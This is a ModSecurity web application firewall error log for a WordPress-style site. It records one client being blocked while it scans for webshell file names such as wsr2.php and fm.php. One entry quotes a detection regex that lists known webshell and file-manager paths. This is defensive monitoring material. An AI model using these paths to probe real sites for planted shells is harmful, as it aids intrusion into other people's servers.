[Sun Nov 16 05:29:12.575904 2025] [:error] [pid 20556:tid 20575] [client 4.206.159.110:63299] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aRjwqEkbyEckbWtBcCKPWAAAARE"]
[Sun Nov 16 05:29:14.727278 2025] [:error] [pid 52469:tid 52496] [client 4.206.159.110:65345] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aRjwqk6HaXpHeEZ98Z0GwQAAABM"]
[Sun Nov 16 05:29:17.431138 2025] [:error] [pid 52471:tid 52532] [client 4.206.159.110:65403] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aRjwrdmWsFzjR5CEgDWghQAAAIA"]
[Sun Nov 16 05:29:24.435234 2025] [:error] [pid 52469:tid 52498] [client 4.206.159.110:65317] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aRjwtE6HaXpHeEZ98Z0GxQAAABU"]
[Sun Nov 16 05:29:34.965219 2025] [:error] [pid 52470:tid 52513] [client 4.206.159.110:65301] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aRjwvkg9mXF2ZFFtj1XKowAAAEg"]
[Sun Nov 16 05:29:36.186164 2025] [:error] [pid 52563:tid 52570] [client 4.206.159.110:65300] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aRjwwM-l3ey-hVJ5AuvxlAAAAMQ"]
[Sun Nov 16 05:30:09.058056 2025] [:error] [pid 52469:tid 52483] [client 4.206.159.110:65370] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aRjw4U6HaXpHeEZ98Z0G5wAAAAY"]
[Sun Nov 16 05:30:14.248344 2025] [:error] [pid 52470:tid 52516] [client 4.206.159.110:65391] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aRjw5kg9mXF2ZFFtj1XK1gAAAEs"]
[Sun Nov 16 05:30:15.961585 2025] [:error] [pid 52471:tid 52543] [client 4.206.159.110:65347] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aRjw59mWsFzjR5CEgDWg1gAAAIs"]
[Sun Nov 16 05:30:21.958958 2025] [:error] [pid 52470:tid 52526] [client 4.206.159.110:65287] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aRjw7Ug9mXF2ZFFtj1XK2wAAAFU"]
[Sun Nov 16 05:30:23.748346 2025] [:error] [pid 20556:tid 20572] [client 4.206.159.110:65404] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggs.php"] [unique_id "aRjw70kbyEckbWtBcCKPwgAAAQ4"]
[Sun Nov 16 05:30:24.959533 2025] [:error] [pid 20556:tid 20566] [client 4.206.159.110:65368] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggs.php"] [unique_id "aRjw8EkbyEckbWtBcCKPxAAAAQg"]
[Sun Nov 16 05:30:28.329614 2025] [:error] [pid 52563:tid 52581] [client 4.206.159.110:65348] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggs.php"] [unique_id "aRjw9M-l3ey-hVJ5Auvx2QAAAM8"]
[Sun Nov 16 05:30:34.788620 2025] [:error] [pid 52469:tid 52490] [client 4.206.159.110:65330] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggs.php"] [unique_id "aRjw-k6HaXpHeEZ98Z0G_gAAAA0"]
[Sun Nov 16 05:30:38.122287 2025] [:error] [pid 52563:tid 52570] [client 4.206.159.110:65387] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjw_s-l3ey-hVJ5Auvx4AAAAMQ"]
[Sun Nov 16 05:30:42.211726 2025] [:error] [pid 20556:tid 20581] [client 4.206.159.110:63238] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjxAkkbyEckbWtBcCKP6AAAARc"]
[Sun Nov 16 05:30:43.567291 2025] [:error] [pid 20556:tid 20558] [client 4.206.159.110:63356] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjxA0kbyEckbWtBcCKP7QAAAQA"]
[Sun Nov 16 05:30:46.002813 2025] [:error] [pid 52469:tid 52489] [client 4.206.159.110:63309] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjxBk6HaXpHeEZ98Z0HAgAAAAw"]
[Sun Nov 16 05:30:46.692441 2025] [:error] [pid 52470:tid 52516] [client 4.206.159.110:63341] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aRjxBkg9mXF2ZFFtj1XK6QAAAEs"]
[Sun Nov 16 05:30:49.454267 2025] [:error] [pid 20556:tid 20579] [client 4.206.159.110:63297] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aRjxCUkbyEckbWtBcCKP8AAAARU"]
[Sun Nov 16 05:30:53.298616 2025] [:error] [pid 20556:tid 20561] [client 4.206.159.110:63307] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aRjxDUkbyEckbWtBcCKP9AAAAQM"]
[Sun Nov 16 05:31:00.577044 2025] [:error] [pid 52470:tid 52518] [client 4.206.159.110:65373] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aRjxFEg9mXF2ZFFtj1XK9QAAAE0"]
[Sun Nov 16 05:31:04.911254 2025] [:error] [pid 20556:tid 20582] [client 4.206.159.110:63340] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wsr2.php"] [unique_id "aRjxGEkbyEckbWtBcCKQAgAAARg"]
[Sun Nov 16 05:31:14.579042 2025] [:error] [pid 20556:tid 20564] [client 4.206.159.110:63292] [client 4.206.159.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aRjxIkkbyEckbWtBcCKQCwAAAQY"]
[Sun Nov 16 05:31:33.522901 2025] [:error] [pid 52471:tid 52539] [client 4.206.159.110:65324] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aRjxNdmWsFzjR5CEgDWhJgAAAIc"]
[Sun Nov 16 05:31:43.423138 2025] [:error] [pid 52470:tid 52514] [client 4.206.159.110:65355] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aRjxP0g9mXF2ZFFtj1XLDQAAAEk"]
[Sun Nov 16 05:31:51.529172 2025] [:error] [pid 20556:tid 20571] [client 4.206.159.110:63332] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aRjxR0kbyEckbWtBcCKQMQAAAQ0"]
[Sun Nov 16 05:31:57.760752 2025] [:error] [pid 20556:tid 20579] [client 4.206.159.110:65304] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aRjxTUkbyEckbWtBcCKQNAAAARU"]
[Sun Nov 16 05:32:01.857774 2025] [:error] [pid 52471:tid 52541] [client 4.206.159.110:63234] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aRjxUdmWsFzjR5CEgDWhOAAAAIk"]
[Sun Nov 16 05:32:09.458369 2025] [:error] [pid 52471:tid 52533] [client 4.206.159.110:65396] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRjxWdmWsFzjR5CEgDWhQgAAAIE"]
[Sun Nov 16 05:32:12.469980 2025] [:error] [pid 52469:tid 52480] [client 4.206.159.110:65282] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRjxXE6HaXpHeEZ98Z0HNgAAAAM"]
[Sun Nov 16 05:32:16.708776 2025] [:error] [pid 52469:tid 52498] [client 4.206.159.110:65298] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRjxYE6HaXpHeEZ98Z0HOQAAABU"]
[Sun Nov 16 05:32:26.586770 2025] [:error] [pid 52471:tid 52542] [client 4.206.159.110:65312] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sder52u.php"] [unique_id "aRjxatmWsFzjR5CEgDWhUAAAAIo"]
[Sun Nov 16 05:32:27.784632 2025] [:error] [pid 52471:tid 52551] [client 4.206.159.110:65333] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sder52u.php"] [unique_id "aRjxa9mWsFzjR5CEgDWhUgAAAJM"]
[Sun Nov 16 05:32:31.155878 2025] [:error] [pid 52563:tid 52575] [client 4.206.159.110:65288] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sder52u.php"] [unique_id "aRjxb8-l3ey-hVJ5AuvyNAAAAMk"]
[Sun Nov 16 05:32:49.897929 2025] [:error] [pid 52563:tid 52566] [client 4.206.159.110:65378] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa17.php"] [unique_id "aRjxgc-l3ey-hVJ5AuvyTQAAAMA"]
[Sun Nov 16 05:32:51.545560 2025] [:error] [pid 20556:tid 20560] [client 4.206.159.110:65316] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa17.php"] [unique_id "aRjxg0kbyEckbWtBcCKQawAAAQI"]
[Sun Nov 16 05:32:52.636477 2025] [:error] [pid 20556:tid 20577] [client 4.206.159.110:65402] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa17.php"] [unique_id "aRjxhEkbyEckbWtBcCKQbAAAARM"]
[Sun Nov 16 05:33:04.530515 2025] [:error] [pid 52471:tid 52552] [client 4.206.159.110:65406] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa17.php"] [unique_id "aRjxkNmWsFzjR5CEgDWhcAAAAJQ"]
[Sun Nov 16 05:33:06.600178 2025] [:error] [pid 52471:tid 52538] [client 4.206.159.110:65309] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/winkel.php"] [unique_id "aRjxktmWsFzjR5CEgDWhcQAAAIY"]
[Sun Nov 16 05:33:27.014324 2025] [:error] [pid 52471:tid 52539] [client 4.206.159.110:65371] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ef.php"] [unique_id "aRjxp9mWsFzjR5CEgDWhdgAAAIc"]
[Sun Nov 16 05:33:31.846056 2025] [:error] [pid 52469:tid 52491] [client 4.206.159.110:65340] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ef.php"] [unique_id "aRjxq06HaXpHeEZ98Z0HeAAAAA4"]
[Sun Nov 16 05:33:36.442315 2025] [:error] [pid 20556:tid 20564] [client 4.206.159.110:63344] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ef.php"] [unique_id "aRjxsEkbyEckbWtBcCKQlQAAAQY"]
[Sun Nov 16 05:33:38.989125 2025] [:error] [pid 52469:tid 52487] [client 4.206.159.110:65349] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ef.php"] [unique_id "aRjxsk6HaXpHeEZ98Z0HfAAAAAo"]
[Sun Nov 16 05:34:31.131088 2025] [:error] [pid 52563:tid 52581] [client 4.206.159.110:65314] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btufulhs.php"] [unique_id "aRjx58-l3ey-hVJ5AuvymwAAAM8"]
[Sun Nov 16 05:34:32.284614 2025] [:error] [pid 52469:tid 52492] [client 4.206.159.110:65359] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btufulhs.php"] [unique_id "aRjx6E6HaXpHeEZ98Z0HmQAAAA8"]
[Sun Nov 16 05:34:35.245944 2025] [:error] [pid 52471:tid 52554] [client 4.206.159.110:65367] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btufulhs.php"] [unique_id "aRjx69mWsFzjR5CEgDWhqQAAAJY"]
[Sun Nov 16 05:34:40.684331 2025] [:error] [pid 20556:tid 20562] [client 4.206.159.110:65329] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btufulhs.php"] [unique_id "aRjx8EkbyEckbWtBcCKQzQAAAQQ"]
[Sun Nov 16 05:34:43.181708 2025] [:error] [pid 52471:tid 52549] [client 4.206.159.110:65394] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aRjx89mWsFzjR5CEgDWhsQAAAJE"]
[Sun Nov 16 05:34:45.375568 2025] [:error] [pid 52471:tid 52539] [client 4.206.159.110:65343] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aRjx9dmWsFzjR5CEgDWhswAAAIc"]
[Sun Nov 16 05:34:47.203922 2025] [:error] [pid 20556:tid 20563] [client 4.206.159.110:65365] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aRjx90kbyEckbWtBcCKQ1AAAAQU"]
[Sun Nov 16 05:34:51.622023 2025] [:error] [pid 20556:tid 20572] [client 4.206.159.110:65341] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aRjx-0kbyEckbWtBcCKQ3QAAAQ4"]
[Sun Nov 16 05:34:57.226000 2025] [:error] [pid 52471:tid 52551] [client 4.206.159.110:65401] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb5.php"] [unique_id "aRjyAdmWsFzjR5CEgDWhwQAAAJM"]
[Sun Nov 16 05:34:59.763244 2025] [:error] [pid 52470:tid 52520] [client 4.206.159.110:65305] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb5.php"] [unique_id "aRjyA0g9mXF2ZFFtj1XLfAAAAE8"]
[Sun Nov 16 05:35:01.569417 2025] [:error] [pid 20556:tid 20558] [client 4.206.159.110:65344] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb5.php"] [unique_id "aRjyBUkbyEckbWtBcCKQ8QAAAQA"]
[Sun Nov 16 05:35:03.515108 2025] [:error] [pid 20556:tid 20581] [client 4.206.159.110:65317] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb5.php"] [unique_id "aRjyB0kbyEckbWtBcCKQ-QAAARc"]
